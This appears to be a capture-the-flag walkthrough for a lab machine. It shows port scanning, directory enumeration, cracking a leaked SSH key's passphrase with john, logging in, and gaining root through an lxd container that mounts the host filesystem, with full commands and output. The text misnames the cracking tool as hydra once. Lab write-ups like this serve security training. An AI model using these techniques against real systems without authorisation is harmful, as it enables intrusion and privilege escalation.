Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.23.110 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 13:52 BST
Nmap scan report for 10.10.23.110
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.52 seconds

Website

The website is a basic site, but doesnt have any real functionality. Looking at the source code we see a comment revealing a potential username.

We scan the site with gobuster to see if there are any directories of interest.

# gobuster dir -u http://10.10.23.110 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.23.110
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 2762]
/robots.txt           (Status: 200) [Size: 33]
/secret               (Status: 301) [Size: 313] [--> http://10.10.23.110/secret/]
/server-status        (Status: 403) [Size: 277]
/uploads              (Status: 301) [Size: 314] [--> http://10.10.23.110/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Looking in the secret directory we see a file named secretKey. Downloading it reveals a password protected RSA key. In the uploads there are also a number of files including a wordlist.

Using hydra and the downloaded wordlist we crack the password for the RSA key.

# ssh2john secretKey > secretKey.hash

# john secretKey.hash --wordlist=dict.lst 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*******          (secretKey)     
1g 0:00:00:00 DONE (2025-08-04 14:17) 100.0g/s 22200p/s 22200c/s 22200C/s 2003..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With this we can login to SSH and get the user flag.

# ssh john@10.10.23.110 -i secretKey
Enter passphrase for key 'secretKey': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Aug  4 13:19:39 UTC 2025

  System load:  0.0               Processes:           102
  Usage of /:   41.1% of 9.78GB   Users logged in:     0
  Memory usage: 17%               IP address for ens5: 10.10.23.110
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.


Last login: Mon Jul 27 20:17:26 2020 from 10.8.5.10
john@exploitable:~$ ls
user.txt
john@exploitable:~$ cat user.txt 
a5****************************7e

Privilege escalation

When checking the users groups we notice there are memeber of the lxd group.

john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

We can exploit thi by launching a container and mounting the system drive into it. First we will prepare an Alpine container locally.

# git clone https://github.com/saghul/lxd-alpine-builder.git                   
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 57, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 57 (delta 6), reused 8 (delta 4), pack-reused 42 (from 1)
Receiving objects: 100% (57/57), 3.12 MiB | 36.25 MiB/s, done.
Resolving deltas: 100% (19/19), done.

# cd lxd-alpine-builder 

# ./build-alpine                
Determining the latest release... v3.22
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.22/main/x86_64
Downloading alpine-keys-2.5-r0.apk
...
...
...

Once the image has built it will in a tar.gz file. We then just start a python server (python3 -m http.server 80) to transfer the image to the box where we can set it up.

john@exploitable:~$ wget http://10.11.18.78/alpine-v3.22-x86_64-20250804_2128.tar.gz
--2025-08-04 20:30:17--  http://10.11.18.78/alpine-v3.22-x86_64-20250804_2128.tar.gz
Connecting to 10.11.18.78:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4043003 (3.9M) [application/gzip]
Saving to: ‘alpine-v3.22-x86_64-20250804_2128.tar.gz’

alpine-v3.22-x86_64-20250804_2128.tar.gz         100%[========================================================================================================>]   3.86M  5.53MB/s    in 0.7s    

2025-08-04 20:30:17 (5.53 MB/s) - ‘alpine-v3.22-x86_64-20250804_2128.tar.gz’ saved [4043003/4043003]

john@exploitable:~$ lxc image import alpine-v3.22-x86_64-20250804_2128.tar.gz --alias alpine-v3.22
Image imported with fingerprint: a61173cb897ac1b719fa5dd13014a6459c401e855cbfcc3b07eda992202e3b54
john@exploitable:~$ lxc init alpine-v3.22 hacked -c security.privileged=true
Creating hacked
john@exploitable:~$ lxc config device add hacked mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to hacked
john@exploitable:~$ lxc start hacked

With our container running we can just exec into in and then read the flag from the mounted drive

uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
john@exploitable:~$ lxc exec hacked /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root/root
/mnt/root/root # cat root.txt
2e****************************fc